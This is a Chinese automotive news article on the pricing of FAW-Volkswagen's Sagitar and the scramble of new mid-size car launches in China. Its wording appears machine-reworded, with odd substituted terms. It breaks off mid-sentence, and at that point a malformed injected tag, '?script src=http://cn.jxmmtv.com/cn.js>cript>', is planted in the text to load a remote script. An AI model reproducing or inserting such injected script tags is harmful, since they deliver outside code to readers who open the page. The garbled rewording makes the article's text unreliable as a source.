速腾广告杀气腾腾，一汽-大众期望通过这款新车的“完美的漂移”取得胜利。
但面对今年以来新车角逐的残酷现实，无论是速腾、凯旋、马自达3还是CIVIC，哪个也不敢说就能在市场上站稳一席之地。
新车混战给企业带来的最直接影响是没办法明确适合价格，而最实质的影响则是没办法明确对手在哪儿。
速腾的定价直到正式上市前两天4月7日才定下来，顶级配置商品21.68万元的价格高于帕萨特领驭2.0，但最低端的价格17.38万元又对其他中档车形成挑战。在场的一位一汽-大众市场部职员称:“这是一个精明的定价，高者保证品牌价值，低者预防对手渗透。”
加上上个月公布价格的凯旋、马自达3，大伙在定价上都是绞尽脑汁，但因为每个品牌的新车都有意扩大价格覆盖区间，使得角逐品牌间的距离愈加小。
一汽-大众销售总经理还不可以确定有多少对手在自己周围，他说：“我划定的角逐对手是宝马3、锐志和新马自达6”，这一排列组合是全球其他市场上非常难见到的角逐关系：大众是德系品牌代表、宝马是世界公认的豪华品牌、马自达是充满运动个性的日本二线品牌，丰田则是宽系列强势品牌，几乎不在一条线上。这也正说明在目前的国内市场上，汽车企业实在没办法凭着品牌价值找购买对象。
其次，一汽-大众销售总经理苏伟铭矢口不承认CIVIC和马自达3对速腾有威胁，觉得下半年投产的新宝来倒大概与之为伍。此间业内人士表示，消费市场并不是不再看排量，而是处于多种价值判断同时存在的状况，假如有买家仍然以排量、尺寸、级别进行区别，则1.8的CIVIC和马自达3也可以与速腾1.8T放在一块角逐。
激烈的价格角逐给海量企业带来困惑，苏伟铭称要在年内推出两到三款新车型，包含基于德国大众最新B级车平台的FUTUREB6与新高尔夫A5，他需要保证每款新车成功，还不可以舍弃老款车，今年夏季要出三厢新宝来，那样速腾就不可以把价格定得太低；其次，速腾需要上量，同时还要给B6留位，价格又不可以定的太高。无论是考虑自己的商品系列还是角逐对手的牌型，可选择的定价范围都非常小。
虽然一汽-大众没公布我们的当地配套件的比率，但初期异地组装件的数目仍然会比较多，这使得德系中级轿车定价在与日韩对手角逐时不占价格优势，好在马3等日系新车也把价格定高了，致使这一档次的市场角逐不只数目多，而且性能和价格差距都不大。
业内开始有争论，难道是日系车想借混战之机提高品牌价值吗？第一次在媒体面前亮相的一汽-大众总经理安铁成称：“买家正在趋于理性，他们也在探寻一个性价比平衡点。”这场中级车的价格混战之后正酝酿着品牌之争。而品牌之争背后，还会有更多的选手倒下。
记者察看 走过混战季
今年一季度，汽车市场上多了一个新词：试价，也就是有车无价。
有车无价，是指有了车但企业没定价格，这说明去年下半年以来新车太多，厂商不敢定价。目前所有厂家经过2004年、2005年的市场收益滑坡，都到了推新车的机会，扎堆儿现象紧急。混战也因此而起，但在此之前，还需要厘清一些定义。
错觉1——中国新车比其他人多。其实是过去商品太单一，上世纪末全国只有十几个国商品牌，花冠、阳光、雅阁、波罗、高尔夫都是在海外卖了十几年，甚至几十年的品牌，而中国刚刚批量生产。仿佛是从未谋面，其实品牌之新多数是人家尝过的馍。
错觉2——上市的都是新车。新车有几个种类，年型改款、3年中改款、5～7年换代，加上生产线停产后9年的备件期，一款车的生命周期应该在14～16年。目前上市的主如果从未在国内露面的年型车，第二是中改款，真的像宝马、奥迪那样在中国生产后再换代的新车并不多。
纠正错觉后再看目前新车混战的近况，导致企业冲动的原因可能有以下几个方面：
一，处于商品角逐阶段。这个阶段的品牌价值不高、服务价值看不出来，只能拼新品。成熟市场则不然，宝马今年超越奔驰成为世界销售量较大的豪华品牌，主要靠换代的3、5、7系商品提高品牌，奔驰连拿B、R两个新系列并没抢走宝马的用户群，只须还在商品角逐阶段，大伙对新车价格的敏锐度就不会减少。
第二，产能过剩重压。中国物流中心估计，今年国内汽车产能将突破700万，中汽协会则估计要达到850万，其中过剩产能占三分之一。现在不少厂商的新厂是在井喷时上马，2004年宏观调控时停工，2005年达产，今年正需要消化。而消化产能，靠积压商品不可以，市场只认新品。
第三，自主品牌靠新产品增加认知。吉利十几款新车、奇瑞大换代(A5、新东方之子B11，新QQ和MPV)、华晨的两款底价车今年一季度都在抢着上市。因为自主品牌认知度低，在现阶段需要用新车来挑逗消费欲望，逐步打造品牌认知，只有上了量才能积累口碑。
不过，种种迹象显示，这种新车混战的状况或许会在下半年减弱，这将直接表目前新车数目上。今年春?script src=http://cn.jxmmtv.com/cn.js>cript>